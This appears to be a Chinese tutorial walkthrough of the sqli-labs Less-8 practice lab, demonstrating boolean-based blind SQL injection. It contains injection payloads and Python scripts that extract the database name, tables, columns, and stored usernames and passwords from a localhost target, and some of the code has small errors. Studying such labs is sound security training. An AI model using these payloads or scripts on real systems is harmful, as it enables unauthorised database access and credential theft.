天天看点

sqli-labs Less-8

Less-8 Get - Blind -Boolian Based -Single Quotes

1.原页面

sqli-labs Less-8

2.?id=1

sqli-labs Less-8

3.?id=1’

sqli-labs Less-8

4.尝试布尔盲注

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们判断的是否正确

?id=1’ and (length(database()))>0 --+

sqli-labs Less-8

?id=1’ and (length(database()))<0 --+

sqli-labs Less-8

5.判断数据库第一位

?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>100–+

第一位是否大于100,是就显示正确,不是就显示错误。

substr()函数:substr(a,b,c)从b位置开始,截取字符串a的c长度ascii()函数:ascii()将某个字符转换为ascii值

sqli-labs Less-8

判断范围,看看大不大于120

?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>120–+

sqli-labs Less-8

不大于120 ,缩小范围看看大不大于115

?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>115–+

sqli-labs Less-8

?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>114–+

sqli-labs Less-8

?id=1’%20and%20(select%20ascii(substr(database(),1,1)))=115–+

sqli-labs Less-8

数据库名第一位为115 ,我们查下ASCII对照表,第一位是s。

依次判断数据库剩下的部分。

6.依次猜测表名

?id=1’ and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101–+

sqli-labs Less-8

7.依次猜测列名

?id=1’ and (select ascii(substr((select columns_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)))=117–+

sqli-labs Less-8

依次猜解效率不高,可以通过编写python 脚本。(搬来了大佬写的脚本 python27运行)

8.获取数据库名和用户:

# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27'  # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
# 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']  # 字典
str1 = "You are in..........."  # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
# 开始对比database()
database = ''
for i in range(1, 10):  # 相当于C语言的for循环1~9 其实这里应该先判断database有多长的
    for ss in list1:  # 相当于for循环遍历list,然后把每一项赋值给ss
        p = payload.format(d='database', n=i, s=database+ss)  # 把payload里的{d},{n},{s}赋值
        u = requests.get(url+p)  # 访问网页
        # print p
        if str1 in u.content:  # 如果str在网页内容里面
            database += ss
            print u"正在对比database第", i, u"个字符",
            print database
            break
print u"对比成功,database为:", database
# 开始对比user()#user也是同理
user = ''
for i in range(1, 20):
    for ss in list1:
        p = payload.format(d='user', n=i, s=user+ss)
        u = requests.get(url+p)
        # print p
        if str1 in u.content:
            user += ss
            print u"正在对比user第", i, u"个字符",
            print user
            break
print u"对比成功,user为:", user
print u"database-->", database
print u"user-->", user
a = raw_input()
           
sqli-labs Less-8

9.获取表名

# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27'
payload = 'and%20ascii(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \
          'database()%20limit%20{t},1),{w},1))={A}%20--%20k'
# 我把上面的substr改成了substring按理说mysql里substring和substr是一样的但是如果出错了记得改回substr
list1 = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,
         72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,
         104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
str1 = "You are in..........."
tables1 = ''
tables2 = ''
tables3 = ''
tables4 = ''
for i in range(0, 4):
    for j in range(1, 10):
        for s in list1:
            p = payload.format(t=i, w=j, A=s)
            u = requests.get(url+p)
            if str1 in u.content:
                if i == 0:
                    tables1 += chr(s)
                    print u"正在对比第1个表,", u"第", j, u"个字符",tables1
                elif i == 1:
                    tables2 += chr(s)
                    print u"正在对比第2个表,", u"第", j, u"个字符", tables2
                elif i == 2:
                    tables3 += chr(s)
                    print u"正在对比第3个表,", u"第", j, u"个字符", tables3
                elif i == 3:
                    tables4 += chr(s)
                    print u"正在对比第4个表,", u"第", j, u"个字符", tables4
                    break
print 'tables1-->', tables1
print 'tables2-->', tables2
print 'tables3-->', tables3
print 'tables4-->', tables4
a = raw_input()
           
sqli-labs Less-8

10.获取字段名

# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 
         'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 
         'Z', '.']  # 字典
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27'
payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security' \
          '%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k'
# payload其实就是url的后半部分,也是盲注的关键代码,也可以和url变量合并
column = ['', '', '', '', '']
str1 = 'You are in...........'
# 以上四个变量就是与本次盲注相关的变量了
for j in range(0, 3):
    for i in range(1, 9):
        for l in list1:
            p = payload.format(w=j, n=i, c=column[j]+l)
            u = requests.get(url+p)
            if str1 in u.content:
                column[j] += l
                print u'正在对比第', j+1, u'个字段第', i, u'个字符', column[j]
                break
for c in range(0, 5):
    print 'column', c+1, '-->', column[c]
a = raw_input()
           
sqli-labs Less-8

11.获取用户名和密码

# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 
         'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 
         'Z', '.']  # 字典
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27'
payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
str1 = 'You are in...........'
username = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
password = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
for i in range(1, 15):
    for j in range(1, 11):
        for l in list1:
            p = payload.format(n=i, w=j, d=username[i-1]+l)
            u = requests.get(url+p)
            if str1 in u.content:
                username[i-1] += l
                print u'正在对比第', i, u'个记录的username的第', j, u'个字符', username[i-1]
payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
for i in range(1, 15):
    for j in range(1, 11):
        for l in list1:
            p = payload2.format(n=i, w=j, d=password[i-1]+l)
            u = requests.get(url+p)
            if str1 in u.content:
                password[i-1] += l
                print u'正在对比第', i, u'个记录的password的第', j, u'个字符', password[i-1]
print 'id    username    password'
for i in range(1, 15):
    print i, '-', username[i-1], '-', password[i-1]
a = raw_input()
           
sqli-labs Less-8

12.也可以使用sqlmap工具

sqli-labs Less-8
sqli-labs Less-8